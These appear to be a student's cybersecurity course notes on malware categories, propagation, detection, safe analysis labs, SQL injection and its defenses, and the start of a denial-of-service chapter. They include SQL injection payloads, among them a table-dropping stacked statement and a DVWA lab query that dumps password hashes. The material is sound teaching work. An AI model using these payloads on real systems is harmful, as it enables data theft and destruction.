Vector	The route used to reach or infect a target, for example email attachment, network share, website download, or USB device.	Modern malware often combines several vectors.

2. Viruses, worms, and propagation routes

2.1 Virus versus worm

A computer virus often attaches to a file, self-replicates, and can spread rapidly. The key contrast is that a traditional virus requires a triggering action, while a worm is able to self-replicate and propagate without requiring that same user action. In practice, real malware can blend behaviors, so classification should focus on observed mechanisms rather than only a name.

Question	Virus	Worm
Does it self-replicate?	Yes.	Yes.
Does it normally need a user or host action to continue spreading?	Often yes: an infected file, document, or program must be opened or executed.	Not necessarily: it can exploit reachable services or network paths automatically.
Why can it spread quickly?	Users exchange files, email attachments, documents, and removable media.	Automatic propagation can scan or reach many systems quickly.
Defensive priority	Control execution, scan content, train users, and patch endpoints.	Patch exposed services, segment networks, monitor unusual traffic, and contain infected hosts quickly.

2.2 Email propagation

Email is a common delivery route because email infrastructure is widely available and attachments or links are familiar to users. Early email protocols did not include strong built-in checks, malicious programs may contain their own email engine, and email clients can be abused to send messages covertly. The attachment is often the social or technical trigger that causes malicious code to execute.

Email factor	Security significance	Control example
Widely available mail infrastructure	Attackers can send large volumes of messages or impersonate familiar workflows.	Filtering, reputation checks, authentication mechanisms, rate controls, and user reporting channels.
Attachments	A document, archive, executable, script, or shortcut file may carry or retrieve malicious content.	Block risky file types where appropriate, scan attachments, use sandboxing, disable unnecessary macros, and train users not to open unexpected files.
Links	The message may lead to a malicious download or a website that encourages unsafe actions.	URL filtering, safe browsing protections, domain analysis, and user verification of unexpected requests.
Covert sending from an infected client	Malware can abuse access to address books or messaging functions to propagate further.	Endpoint monitoring, least privilege, behavioral detection, and isolation of suspicious hosts.

2.3 Network, website, and removable-media propagation

Route	How it works	Why it matters	Defensive controls
Network storage or shares	Malware exploits trust in shared storage, places infected files where others will execute them, or reaches vulnerable services.	A trusted internal network is not automatically safe. Compromise can spread laterally.	Segment networks; patch services; limit write access; scan shared storage; monitor unusual file changes and traffic.
USB or removable media	An infected removable device transfers malicious files or content between systems.	The route can cross otherwise separated networks and bypass perimeter controls.	Control removable media; scan devices; restrict autorun-like behavior; maintain endpoint protection.
Website delivery	A user downloads malicious software or content from a site, often because the content appears useful or legitimate.	User behavior and browser or plugin vulnerabilities can become part of the attack path.	Patch browsers; use download filtering; restrict execution; train users; use application allowlisting where appropriate.

3. Virus families and evasive behavior

3.1 Malware categories

Category	Definition	Why it challenges defenders	Example defensive consideration
Macro virus	Uses macros embedded in office documents or similar files.	A document looks ordinary but contains executable automation. Users may enable macros because the document appears legitimate.	Disable or restrict macros from untrusted sources, use protected-view features, scan attachments, and train users.
Multi-partite virus	Attacks a computer in multiple ways, for example opening a backdoor, creating a reverse shell, or downloading files.	A single infection can combine delivery, persistence, remote access, and secondary payloads. Removing one component may not remove the compromise.	Use layered detection, investigate persistence, and rebuild systems when integrity cannot be trusted.
Armored malware	Uses techniques that make analysis harder, such as encoding, packing, or obfuscation. Base64 and obfuscation are examples.	The malicious logic may be hidden from simple inspection and signature matching.	Combine static and behavioral analysis; unpack or decode only inside a controlled analysis environment.
Memory-resident malware	Installs itself and remains active in RAM.	A process can continue operating while the system runs and may manipulate other programs or data. Disk-only inspection can miss runtime behavior.	Use memory-aware endpoint monitoring, process analysis, and safe volatile-memory capture during investigations.
Sparse infector	Reduces attack or infection frequency to remain less noticeable.	Low-frequency activity can evade simple thresholds and reduce the evidence available to analysts.	Use long-term logging, behavioral baselines, and correlation across systems.
Polymorphic malware	Changes its form to avoid detection while preserving malicious behavior.	Byte-level signatures may fail if each instance looks different.	Use heuristic and behavioral detection, unpacking, emulation, and updated intelligence.

Multiple vectors: Important point: that viruses increasingly combine vectors and techniques. Categories are not mutually exclusive. For example, a malicious Office macro can be armored, download a polymorphic payload, and establish a backdoor.

3.2 New strains and why variation is easy

A new strain does not always require a completely new design. Small changes may alter infrastructure addresses, downloaded components, or target selection. Readable scripts can be modified directly. Compiled malware can be reverse engineered using tools such as disassemblers and decompilers; names NSA Ghidra as an example. Attackers also reuse effective components and combine existing techniques. Toolkits lower the barrier further.

Reason strains proliferate	Explanation	Defensive implication
Small configuration changes	Changing IP addresses, domains, downloads, or targeting logic can produce a distinct campaign or sample.	Blocklists and signatures must be updated; defenders should correlate behavior and infrastructure patterns.
Readable scripts	Script-based malware may be easy to inspect and alter.	Do not rely only on exact file hashes; detect suspicious behavior and execution chains.
Reverse engineering	Disassemblers and decompilers can expose program logic and support modification or recompilation.	Defenders use the same analysis techniques to understand samples and create detections.
Reuse and combination	Working components can be reused, wrapped, or combined.	Treat incidents as multi-stage compromises and check for secondary components.
Creation toolkits	Graphical or scripted toolkits automate parts of malware creation or configuration.	Lower attacker effort increases the importance of baseline hygiene and layered controls.

4. Historical examples, hoaxes, ransomware, and Trojans

4.1 Morris worm lesson

This includes the early Internet worm associated with Robert Tappan Morris, Jr. as a cautionary case. It exploited weaknesses in programs such as sendmail and remote shell-related services. Although the stated intent was to demonstrate security inadequacies rather than cause harm, defects in the worm allowed machines to be infected repeatedly. The example shows that code intended as an experiment can create uncontrolled operational impact.

Lesson	Explanation
Intent does not eliminate responsibility	Running self-propagating code on networks can cause real damage even when the author claims a research or demonstration purpose.
Propagation bugs amplify harm	Repeated infections consume resources and can disrupt availability.
Exposed services matter	Weaknesses in reachable services can allow automatic spread.
Authorization is essential	Security testing must occur only under explicit authorization and within controlled scope.

4.2 Virus hoaxes and fake security software

Not every malware-related threat is a technical infection. Hoaxes exploit fear, urgency, and user trust. This illustrates virus-hoax messages and names FakeAV and MacDefender as examples of fake antivirus-style software. Fake security software may claim that a device is infected and pressure the user into installing software, paying money, or granting access.

Threat	Mechanism	Safe response
Virus hoax	A message spreads false claims and encourages unsafe actions or unnecessary forwarding.	Verify claims using trusted sources; do not forward alarming messages automatically; follow organizational reporting procedures.
Fake antivirus / scareware	Software or a website presents alarming warnings and encourages payment or installation.	Do not install tools from popups or unsolicited messages; use approved security software; isolate and report suspicious behavior.

4.3 Ransomware

Ransomware is malware that denies access to data or systems, commonly by encrypting files and demanding payment. Examples include the AIDS Trojan, CryptoLocker, and CryptoWall as historical examples. Delivery can be staged: an initial Office macro or shortcut file containing a script retrieves the actual malicious payload. This staging separates the small initial loader from the larger ransomware component.

Ransomware aspect	Explanation	Defensive priority
Initial access	A malicious macro, shortcut, attachment, download, or exploited vulnerability begins the chain.	Filter risky content, patch systems, limit macros, train users, and use endpoint controls.
Secondary download	The first-stage code retrieves or activates the main payload.	Monitor suspicious script interpreters, outbound connections, and child-process behavior.
Encryption or denial of access	Files, backups, or services may become unavailable.	Maintain tested offline or immutable backups; segment networks; restrict privileges; detect abnormal mass file changes.
Extortion decision	Paying does not guarantee recovery, safety, or deletion of stolen data.	Prepare incident-response, legal, business, and communication procedures in advance.

Historical statistic: A 2020 Sophos statistic addresses restoration among ransom payers. Treat it as a historical reference, not as a universal prediction. Recovery depends on the incident, backups, attacker behavior, and response preparation.

4.4 Trojan horses and wrappers

A Trojan horse is a program that appears benign or useful but performs hidden malicious actions. A screensaver, login box, utility, or bundled application may conceal a downloader, keylogger, or backdoor. Unlike a worm, the defining idea is deception: the victim is induced to execute or install something that appears legitimate.

Trojan behavior	What it enables	Control
Downloads additional malware	The apparently harmless program retrieves a second-stage payload.	Use application allowlisting, endpoint detection, download filtering, and least privilege.
Installs a keylogger	Keystrokes can reveal passwords, messages, or other sensitive information.	Use endpoint monitoring, multi-factor authentication, and rapid credential rotation after compromise.

Trojan behavior	What it enables	Control
Opens a backdoor	The attacker gains a persistent remote access path.	Monitor outbound connections, investigate unexpected listeners and persistence, and rebuild compromised systems when needed.
Targets a person or demographic	The lure is designed to appeal to a specific user group or individual.	Use awareness training, approved software channels, and a policy against unauthorized downloads.

A wrapper binds or packages a legitimate-looking program together with a hidden malicious component. Examples include EliteWrap as an example. Wrapping is a delivery technique: the visible application encourages execution while the concealed component installs or runs in the background.

5. Spyware, rootkits, and monitoring boundaries

5.1 Spyware

Spyware collects information about users or systems, commonly without meaningful informed consent. The available options include web cookies and keyloggers as forms or examples. These examples are not equal in severity: a cookie may be used for ordinary state management or tracking, while a keylogger directly captures keystrokes and can expose credentials. Context, consent, purpose, and jurisdiction matter.

Example	What it records or observes	Risk	Legitimate-use question
Web cookie	Browser state, identifiers, or tracking-related information depending on implementation.	Privacy impact, profiling, or unwanted tracking.	Is the purpose transparent, lawful, limited, and subject to appropriate consent or controls?
Keylogger	Keystrokes entered by a user.	Passwords, messages, payment data, and confidential documents can be captured.	Is monitoring authorized, necessary, proportionate, and legally permitted? Is sensitive data handled safely?
Tailored spyware deployment	A tool is selected and deployed for a specific target or situation.	Focused surveillance can produce extensive privacy and security harm.	Who authorized the monitoring? What law, policy, notice, and safeguards apply?

Legal and ethical boundary: The line between legal monitoring and illegal spying depends on jurisdiction, consent, employment rules, purpose, proportionality, and the data collected. Technical capability is not permission.

5.2 Rootkits

A rootkit is a collection of tools or techniques used to obtain and preserve highly privileged access while hiding evidence of compromise. Typical capabilities include administrator-level access, traffic and keystroke monitoring, backdoors, altered log files or tools, and attacks against other machines on the network.

Rootkit capability	Why it is dangerous	Defensive response
Privileged access	The attacker can control sensitive system functions.	Use least privilege, patching, privileged-access management, and monitoring of administrative actions.
Traffic or keystroke monitoring	The rootkit can collect credentials or confidential information.	Assume exposed secrets may be compromised; rotate credentials and investigate lateral movement.
Backdoor creation	The attacker can retain access after the original entry point is fixed.	Search for persistence and unexpected network paths; rebuild systems when integrity cannot be established.
Log or tool alteration	The attacker can hide evidence and undermine the tools used for local investigation.	Use centralized or remote logging, integrity checks, trusted forensic tools, and evidence preservation.
Attacks on other machines	A compromised host becomes a platform for lateral movement.	Segment networks, isolate affected hosts, and review related systems.

Commercial monitoring products raise the question of whether similar capabilities can ever be used legally. A product name or marketing label such as user-behavior analysis or employee monitoring does not remove legal and ethical obligations. Rootkit-like concealment and privilege remain high-risk characteristics.

5.3 Virus-creation toolkits

Virus-creation toolkits package configuration options and reusable components into an easier workflow. This lowers the expertise and time required to assemble malware. Defenders should therefore prioritize basic hygiene, rapid patching, layered detection, and user safeguards rather than assuming every attack requires elite expertise.

6. Detecting, preventing, and analyzing malware safely

6.1 Layered prevention

Control	Where it applies	Why it helps	Limit
Virus scanners and content filters	Endpoints, mail servers, and network storage.	Detect known or suspicious malicious content before execution or distribution.	No detector catches everything. New or altered samples may evade detection.
Attachment caution	User workflow.	Prevents execution of unexpected or untrusted files.	Social engineering can make malicious content appear credible.
Cryptographic signatures	Software or document origin and integrity verification.	A valid signature can help confirm that content came from an expected publisher and was not modified after signing.	A signature does not guarantee that the signed content is harmless; trust decisions and key protection still matter.
Software diversity	Architecture and fleet design.	A heterogeneous environment can reduce the chance that one exploit affects every system.	Diversity increases operational complexity and does not replace patching or monitoring.
Policies and training	Organization-wide behavior.	Reduces unauthorized downloads, unsafe execution, and delayed reporting.	Policies need enforcement, usable workflows, and continuous reinforcement.
Firewalls, IDS, antivirus, anti-spyware	Layered technical controls.	Reduce exposure, detect suspicious activity, and limit propagation.	Controls must be configured, updated, monitored, and combined with response capability.

6.2 Signature-based antivirus detection

Signature-based detection scans for known characteristics, often byte sequences derived from malicious samples. A signature database allows rapid recognition of known bad content. The method requires regular updates because newly created or modified samples may not match existing signatures. Updates can occasionally conflict with legitimate software changes, so security operations must validate and manage updates carefully.

6.3 Heuristic and behavioral detection

Heuristic detection looks for suspicious code fragments or behavior rather than only exact known signatures. This provides suspicious access to an address book or registry and unusual low-level code patterns as examples. Behavior-based approaches can identify previously unseen variants, but legitimate software may also behave unusually. This creates a tuning problem: reduce false negatives without overwhelming operators with false positives.

Detection method	Strength	Weakness	Best use
Known signature	Fast, explainable recognition of known malware.	Misses samples that are new or sufficiently changed.	Use as a baseline with frequent updates.
Static heuristic	Can flag suspicious structures or code patterns before execution.	Obfuscation, packing, and legitimate low-level software can complicate interpretation.	Combine with reputation, sandboxing, and analyst review.
Behavioral detection	Observes suspicious actions such as unusual file changes, registry access, address-book access, or process chains.	Benign programs can trigger similar behavior; execution must be observed safely.	Use endpoint monitoring and controlled sandboxing with context.

6.4 Safe malware-analysis laboratory

Malware source code can be studied as a learning exercise, but it must not be executed carelessly. Analysis should occur only in an isolated laboratory. A virtual machine is a useful component, but a VM alone is not a guarantee of containment. Network connectivity, shared folders, clipboard sharing, host integration, snapshots, logging, and disposal procedures must be controlled.

Safety measure	Reason
Use an isolated, disposable analysis environment	Prevents accidental exposure of personal, production, or university systems.
Disable unnecessary network access	Stops a sample from contacting external infrastructure or spreading to reachable systems.
Avoid shared folders, shared clipboard, and unnecessary host integration	Reduces paths between the guest and the host.
Use snapshots or rebuildable images	Allows the environment to be restored after analysis.
Treat samples as hazardous	Do not open or execute samples on ordinary machines; label and store them carefully.
Use sources such as theZoo or MalwareBazaar only within an approved lab process	Repositories contain dangerous material. Access, storage, and analysis require authorization and containment.

Containment principle: A malware sample is not a normal file. Never test it on a personal system, production network, or shared environment. Use a deliberately isolated laboratory and an approved process.

7. SQL injection foundations

7.1 What SQL injection is

SQL injection occurs when an application creates SQL command text by concatenating untrusted input into a query. The database then receives a mixture of intended SQL syntax and attacker-controlled text. If the attacker-controlled text changes the query structure or logic, the database may read, modify, or delete information beyond the intended authorization boundary.

Property	Explanation
Root cause	Untrusted data is interpreted as SQL code because the application builds a query unsafely.
Common entry point	A web form, URL parameter, API field, cookie, or other input ultimately reaches a database query.
Potential impact	Authentication bypass, unauthorized data disclosure, modification, deletion, or broader compromise depending on database privileges and application design.
Why basics are easy	Simple boolean logic can alter a query. More advanced cases depend on database type, application behavior, permissions, and available feedback.

7.2 Relational database basics

A relational database contains tables. A table has a name, columns describing fields, and records or rows containing data. SQL, the Structured Query Language, uses commands such as SELECT, UPDATE, DELETE, INSERT, and WHERE. Understanding these components is necessary to understand SQL injection.

```
CREATE TABLE table_name (
 column1 datatype,
 column2 datatype,...
 columnN datatype,
 PRIMARY KEY (one_or_more_columns)
);
```

```
SELECT * FROM tblUsers WHERE USERNAME = 'admin';
```

SQL element	Meaning
SELECT	Reads data from one or more tables.
UPDATE	Changes existing data.
DELETE	Removes records.
INSERT	Adds records.
WHERE	Restricts which rows match a query condition.
*	In a SELECT query, commonly means all columns.

7.3 Unsafe string concatenation

An unsafe login query can be created by joining fixed SQL text with username and password fields. The database cannot reliably distinguish the developer-intended command structure from hostile text inserted by a user.

```
sqlQuery = "SELECT * FROM tblUSERS WHERE UserName = '"
 + txtUsername.Text
 + "' AND Password = '"
 + txtPassword.Text
 + "'";
```

With ordinary values such as username admin and password pass, the result is a normal-looking query:

```
SELECT * FROM tblUSERS WHERE UserName = 'admin' AND Password = 'pass';
```

Root-cause memory anchor: The vulnerability is not merely the presence of an apostrophe. The vulnerability is mixing untrusted data with executable query text. Parameterization prevents the database from reinterpreting the input as query structure.

8. SQL injection mechanics and examples

8.1 Boolean tautology: why OR 1=1 matters

A boolean tautology is an expression that is always true. This uses 1=1. When an application inserts attacker-controlled text directly into a WHERE clause, OR 1=1 can make the condition true for rows that should not match. The exact input must fit the surrounding syntax; this is why quote handling and database-specific behavior matter.

```
SELECT * FROM tblUSERS WHERE UserId = Ron OR 1=1;
```

If there is no user named Ron, the first condition is false. The second condition, 1=1, is true. Because the conditions are joined by OR, the overall condition becomes true. A query intended to retrieve one row can therefore retrieve many rows. If sensitive fields are included, unauthorized information may be exposed.

8.2 Login-bypass example

This illustrates a login form where the username and password values are concatenated into a query. Ordinary input produces a query that checks a particular name and password. Maliciously constructed text can transform the condition into a true expression and bypass the intended check.

```
SELECT * FROM Users WHERE Name = 'Ron' AND Pass = 'pass';
```

```
SELECT * FROM Users WHERE Name = '' OR ''='' AND Pass = '' OR ''='';
```

The equality "=" is true. The resulting expression may match rows even though the attacker did not provide a valid credential. Exact behavior depends on quoting, operator precedence, application logic, and database syntax.

8.3 Examples and comment syntax

The available options include several small payload patterns to show that SQL injection is syntax-sensitive. These are defensive-analysis examples for an explicitly authorized lab. A payload that works in one application may fail in another because the surrounding query, quote type, database product, driver, and comment syntax differ.

Example / command	Meaning	Defensive interpretation
`' OR 1=1#`	Attempts to close a quoted value, add an always-true OR condition, and comment out trailing SQL in a dialect where # starts a comment.	Prepared statements keep the entire value as data. Input validation and least privilege add defense in depth.
`' OR '1'='1`	Uses an always-true comparison between string literals.	Do not try to blacklist a small set of strings as the primary defense; use parameterization.
`' OR 'a'='a`	Another tautology using equal strings.	Equivalent logical forms demonstrate why ad-hoc filtering is fragile.
`password' OR (1=1)`	Appends a true expression after a value in a syntax-dependent way.	Treat every untrusted field as potentially hostile, not only username fields.
`anything' OR 'x'='x`	Combines ordinary-looking text with a tautology.	Log and investigate validation failures without exposing database internals to the user.
`'1=1--`	Uses a comment marker form where supported to suppress the remaining intended query text.	Different database systems recognize different comment syntax. Parameterization avoids depending on blacklist coverage.

Important limitation: Not every listed payload is syntactically valid in every application. Quote characters, application code, database version, and product-specific behavior affect the result.

8.4 Batch or stacked-statement injection

Some database interfaces allow multiple SQL statements separated by semicolons. If untrusted text is inserted into such an interface, an attacker may attempt to append a destructive statement. This provides a DROP TABLE Payroll example. This changes the impact from unauthorized reading to an integrity and availability failure.

```
' OR 1=1#; DROP TABLE Payroll
```

Observation	Explanation
Semicolon	Separates statements in SQL contexts that permit batched or stacked execution.
DROP TABLE Payroll	Attempts to delete an entire table named Payroll.
Why the example is conditional	Not every database product, driver, permission set, or query interface permits stacked statements. Least privilege can prevent destructive commands even when injection exists.
Security lesson	Prevent injection at the application layer and limit the damage possible at the database layer.

9. SQL injection defenses

9.1 Prepared statements and parameterized queries

Prepared statements are the primary SQL-injection defense. The application sends the SQL structure separately from the user-supplied values. The database treats a parameter value literally as data rather than interpreting it as SQL commands or operators.

```
SELECT * FROM tblUSERS WHERE UserName = ? AND Password = ?;
```

The question marks represent placeholders in a generic parameterized form. Actual syntax varies by language and database library. The crucial property is separation: the input cannot become part of the SQL grammar merely because it contains quotes, comment markers, or operators.

9.2 Defense-in-depth controls

Control	Purpose	Important nuance
Prepared statements / parameterization	Separates SQL structure from untrusted values.	This is the primary technical control. Use the database library correctly for every untrusted value.
Input validation	Rejects values that do not fit the expected format, length, type, or business rule.	Use allowlist-oriented validation where possible. Validation complements parameterization; it does not replace it.
Sanitization or encoding	Transforms or removes unwanted content in a context-specific way.	Do not rely on homemade escaping as the main defense. Context and database-library behavior matter.
Patch database and application components	Removes known vulnerabilities and improves security behavior.	Patching does not fix unsafe query construction in custom code; both code and platform must be maintained.
Hash passwords	Protects stored passwords using a suitable password-hashing scheme.	Passwords should generally be hashed, not reversibly encrypted. Use a modern password-hashing approach with salts and appropriate work factor.
Encrypt sensitive information	Reduces exposure of data that must remain recoverable.	Key management and access control are essential. Encryption does not prevent injection.
Separate internal logs from user-visible errors	Preserves diagnostic evidence without revealing table names, query fragments, stack traces, or platform internals to attackers.	Users need a safe generic message; operators need sufficient details in protected logs.
Least privilege	Limits what the application database account can read, modify, or delete.	An injected query cannot exceed the privileges of the database identity used by the application.

Do not confuse: Input validation, sanitization, patching, encryption, and least privilege are valuable layers, but parameterized queries directly address the root cause: untrusted input must not become executable SQL syntax.

10. Assessment tools and authorized use

Authorized security-assessment tools do not replace an understanding of scope, evidence, and risk. Enumeration should precede validation, and exploitation-like features must be used only when explicitly permitted.

Tool	Role	What it does at a high level	Safety and interpretation
Dirb	Enumeration	Uses a wordlist or dictionary to check for website paths and content that may not be linked publicly.	Requests can create load and reveal hidden content. Use only within scope; validate findings manually.
Nikto	Web-security checks	Checks web servers or websites for potential security issues and noteworthy configuration details.	Results may include informational findings or false positives. Review context and prioritize evidence.
sqlmap	SQL-injection assessment and exploitation framework	Automates tests for potential SQL-injection vulnerabilities and can validate impact in an authorized test.	Powerful features can access or alter data. Use the minimum necessary options in a controlled scope and preserve evidence carefully.

Authorized-testing rule: A vulnerability scanner or SQL-injection tool can create risk, load, or data impact. Obtain written permission, define scope, use the least invasive validation method, and report findings responsibly.

11. Integrated analysis: from entry point to mitigation

11.1 Malware attack-chain view

Stage	Possible example	Evidence to look for	Control
Delivery	Email attachment, macro document, website download, USB device, or wrapped Trojan.	Message metadata, downloaded files, removable-media events, browser history, file hashes, and user report.	Filtering, approved download channels, macro restrictions, awareness, endpoint controls.
Execution	User opens a document or runs a seemingly useful program.	Process tree, command-line activity, script interpreter use, and file execution events.	Application control, least privilege, protected view, behavioral monitoring.
Persistence or concealment	Memory-resident malware, backdoor, spyware, or rootkit behavior.	Unexpected services, autoruns, listeners, modified logs, unusual modules, and memory evidence.	Endpoint monitoring, centralized logs, integrity checking, rebuild when trust is lost.
Propagation or lateral movement	Network shares, vulnerable services, email sending, or USB devices.	Unusual SMB or service traffic, new files on shares, address-book access, outbound messages.	Segmentation, patching, share permissions, network monitoring, isolation.
Impact	Encryption, data theft, credential capture, or disruption.	Mass file changes, ransom note, credential abuse, unusual outbound traffic, service failure.	Backups, incident response, credential rotation, containment, restoration.

11.2 SQL-injection analysis view

Stage	Question	Evidence or control
Input reaches application	Which parameters, form fields, API values, cookies, or headers influence database operations?	Map data flows and validate every untrusted input boundary.
Query construction	Is SQL assembled with string concatenation or interpolation?	Review code and database access patterns. Replace unsafe construction with parameterized APIs.
Database execution	Which identity and privileges does the application use?	Apply least privilege; separate roles; restrict destructive operations.
Feedback to user	Are detailed errors exposed?	Return generic user-visible messages while retaining protected diagnostic logs.
Stored secrets	Would a successful read expose reusable plaintext passwords or sensitive data?	Hash passwords appropriately; encrypt recoverable secrets where necessary; limit access.
Validation and retest	Does the fix prevent both simple and syntax-varied cases?	Retest in an authorized environment and review all query paths, not only the originally reported field.

12. Compact open-book lookup reference

12.1 Malware categories

Term	One-line definition
Virus	Self-replicating malicious code commonly attached to a file or host program and usually triggered by user or host action.
Worm	Self-replicating malware that can spread without requiring the same kind of user action as a traditional virus.

Term	One-line definition
Macro virus	Malware using macros embedded in office documents or similar files.
Multi-partite malware	Malware combining several attack methods or payload functions.
Armored malware	Malware using encoding, packing, or obfuscation to make analysis and detection harder.
Memory-resident malware	Malware that remains active in RAM after installation or execution.
Sparse infector	Malware reducing activity frequency to avoid notice.
Polymorphic malware	Malware changing its representation while preserving harmful behavior.
Trojan horse	Apparently benign or useful software concealing malicious actions.
Spyware	Software collecting information about users or systems, often without meaningful informed consent.
Rootkit	Tools or techniques used to preserve privileged access and hide evidence of compromise.
Ransomware	Malware denying access to data or systems, commonly through encryption and extortion.

12.2 SQL-injection memory table

Term	Concise explanation
SQL injection	Untrusted input changes SQL query structure because the application mixes data with executable SQL text.
Tautology	A condition that is always true, such as 1=1, used to alter query logic when inserted unsafely.
Comment marker	Dialect-specific syntax that can suppress the remaining intended SQL text after an injected fragment.
Batch / stacked statement	Two or more SQL statements executed together, commonly separated by semicolons where the interface permits it.
Prepared statement	A query structure with separate parameter values, preventing values from becoming SQL syntax.
Least privilege	Restricting the application database account so that even a compromised query has limited possible impact.

12.3 High-value distinctions

Do not confuse	Correct distinction
Virus vs worm	Both self-replicate, but a traditional virus commonly requires a trigger such as opening an infected file; a worm can propagate automatically.
Trojan vs virus	Trojan describes deceptive appearance and hidden behavior. Virus describes replication through infection. One sample can combine both ideas.
Spyware vs rootkit	Spyware focuses on information collection. A rootkit focuses on privileged persistence and concealment. A rootkit can include spyware functions.
Signature detection vs heuristic detection	A signature matches known characteristics. A heuristic or behavioral approach looks for suspicious patterns or actions, potentially identifying new variants but also producing false positives.
Input validation vs prepared statement	Validation checks whether data fits expectations. A prepared statement separates data from SQL structure. Validation is complementary; parameterization is the core SQLi defense.
Password hashing vs encryption	Passwords should generally be protected with one-way password hashing. Recoverable sensitive data may need encryption. These are different controls for different needs.

12.4 Rapid defensive checklist

Topic	Minimum defensive questions
Malware delivery	Are attachments, macros, downloads, removable media, and untrusted applications controlled?
Endpoint resilience	Are systems patched, least-privileged, monitored, and recoverable from tested backups?
Detection	Are signature updates current? Is behavioral monitoring tuned? Are logs centralized?
Containment	Can suspicious hosts be isolated quickly? Are networks segmented?

Topic	Minimum defensive questions
Malware lab	Is analysis isolated from host systems, shared networks, and external services?
SQL query construction	Are all untrusted values passed as parameters rather than concatenated into SQL?
Database permissions	Does the application account have only the minimum required privileges?
Secrets and errors	Are passwords hashed appropriately, sensitive values protected, and internal errors hidden from users but logged securely?

Final memory anchor: Treat code, files, messages, downloads, and database input as untrusted until controlled. Reduce execution opportunities, separate data from commands, limit privileges, monitor behavior, preserve evidence, and prepare recovery.

Additional: Virus Creation Toolkits

Virus creation toolkits are pre-built software packages that lower the barrier to creating malware. Unskilled individuals can generate new strains without deep programming. Combined with disassemblers (e.g., NSA's GHIDRA), re-use of efficient solutions, and script readability, creating variants requires small changes.

Lab 5: SQL Injection / DVWA - Practical Details

Setup: Scan target, log into DVWA, set security = low. Ports: 80 HTTP (DVWA), 3306 MySQL.

Working payload: ' OR 1=1# - the ' closes the string, OR 1=1 is always true (returns all rows), # comments out the rest (MySQL; use -- elsewhere). Type = in-band / classic SQLi.

Variants tried: ' OR 1=1, '' OR 1=1, ' OR 1=1#, '' OR 1=1#.

Extraction: UNION SELECT user, password FROM users -> dumps password hashes.

Findings: Hashes are MD5 (weak - dictionary + rainbow tables); config.inc.php shows DB user root with blank password; directory listing enabled.

Fixes: Prepared statements / parameterized queries; passwords with bcrypt or Argon2 + salt; least privilege; disable directory listing; firewall + SSH keys.

Why it matters: SQLi can expose a DB server that is not directly reachable, through the web app as intermediary.

CYBERSECURITY

Chapter 06: Denial of Service and Applying Brute Force

Technical knowledge notes

Availability attacks, DDoS trends, bottlenecks, historical DoS mechanisms, layered mitigation, botnet concepts, stress-testing tools, password-guessing risks, attacker-defender dynamics, and IoT exposure

Core idea: A denial-of-service attack prevents legitimate use of a resource by exhausting capacity or triggering failure. Brute force uses repeated trial and error. Both attacks become manageable only when systems are designed for limits, monitored continuously, and protected with layered controls.

1. Technical refresher

The SQL-injection refresher connects to denial of service and brute force through a shared weakness: systems respond predictably to repeated or malformed input unless limits and monitoring are built in.

1.1 MD5 example

```
5f4dcc3b5aa765d61d8327deb882cf99 = MD5("password")
```

The hexadecimal value is the well-known MD5 digest of the plaintext password "password". A cryptographic hash maps an input to a fixed-length output. MD5 is not suitable for password storage: it is fast, old, and vulnerable to precomputation and efficient guessing. Passwords should be stored with a modern password-hashing function designed to be deliberately expensive and salted, such as Argon2id, scrypt, bcrypt, or PBKDF2 according to the applicable system requirements.

1.2 SQL-injection comment marker recap

```
' OR 1=1#
```

In a vulnerable SQL context, the tautology 1=1 may alter the intended logic. The # character can act as a comment marker in some SQL dialects, causing the remainder of the query to be ignored. Comment syntax is database-specific. The defensive lesson is universal: untrusted input must never be concatenated into executable SQL. Use parameterized queries and least-privileged database accounts.

Accuracy note: This recap illustrates a syntax-dependent injection pattern. Whether it works depends on the database dialect, quoting rules, driver, and surrounding query. Treat it as a logic example, not a universal string.

2. Case study: MitID denial of service and account-enumeration risk

This uses a Danish MitID case as an "insecurity of the week" example. The media publication contained limited technical detail, so the case should be interpreted cautiously. The important security concepts are account enumeration, insufficient rate limiting, availability impact, and inadequate logging or surveillance.

Observed or discussed issue	Security meaning	Defensive response
Immediate confirmation of a non-existing user identifier	Different responses can reveal whether an account or username exists. This is account enumeration.	Return consistent responses where practical, monitor abnormal lookup rates, and rate-limit repeated attempts.
Approximately 11,000 usernames guessed during one night without blocking	A large number of requests appears to have been possible without effective throttling or alerting.	Apply per-account, per-source, and risk-based controls; aggregate signals across distributed sources; alert on unusual patterns.
Denial of service against 17 consenting users	An attacker may be able to disrupt access for selected users even without compromising their accounts.	Design lockout and recovery processes carefully; distinguish protection against guessing from attacker-triggered denial of service.
Possibility of inducing a user to approve or "swipe"	Repeated prompts or misleading interactions can create fatigue or confusion.	Use clear transaction context, rate limits, anomaly detection, and user reporting channels.
Potentially weak logging and surveillance	Without high-quality telemetry, abnormal patterns may remain undetected.	Centralize logs, retain relevant evidence, correlate events, and tune alerts for enumeration and lockout abuse.

Design tension: Account lockout can slow password guessing, but a naive lockout policy can also let an attacker deny service to legitimate users. Use layered, risk-based controls rather than a single rigid threshold.

3. Denial of service fundamentals

3.1 DoS and DDoS

Term	Concise definition	Key point
Denial of Service (DoS)	An attack that prevents or degrades legitimate access to a system, service, network, or resource.	The primary security property affected is availability.
Distributed Denial of Service (DDoS)	A denial-of-service attack generated from many participating systems or sources, often coordinated through compromised machines.	Distribution increases traffic volume, resilience, and mitigation difficulty.
Botnet	A collection of compromised devices controlled as a group, often through command-and-control infrastructure.	Botnets can supply the distributed sources required for large DDoS campaigns.
Command and control (C&C or C2)	Infrastructure or communication channels used to coordinate agents or compromised devices.	Taking down or monitoring C&C can disrupt an attack and help identify operators or infected systems.

DoS is not limited to raw traffic volume. Any finite resource can become a bottleneck. An attack may consume network bandwidth, connection-table capacity, CPU time, memory, disk I/O, application workers, database connections, or a dependency such as DNS, authentication, or a third-party API.

3.2 Why DoS remains possible

Finite resource or limit	How overload causes failure	Example control
Number of concurrent users or requests	Queues grow, workers remain occupied, and legitimate users wait or fail.	Capacity planning, admission control, autoscaling, rate limiting, and graceful degradation.
File or message size	Oversized inputs consume bandwidth, memory, parsing time, or storage.	Input-size limits, streaming, validation, quotas, and timeouts.
Network bandwidth	Malicious traffic crowds out legitimate packets before they reach the service.	Upstream filtering, scrubbing services, anycast, traffic engineering, and provider coordination.
Parallel connection handshakes	Half-open or slow connections consume state and sockets.	SYN cookies, connection limits, shorter timeouts, reverse proxies, and protocol-aware protection.
CPU or application computation	Expensive requests consume processing capacity.	Caching, request budgets, rate limits, queue isolation, and cheap pre-validation.
Database or dependency capacity	Application requests exhaust connection pools or downstream services.	Bulkheads, circuit breakers, quotas, caching, and dependency-specific monitoring.

3.3 Evolution of attacks

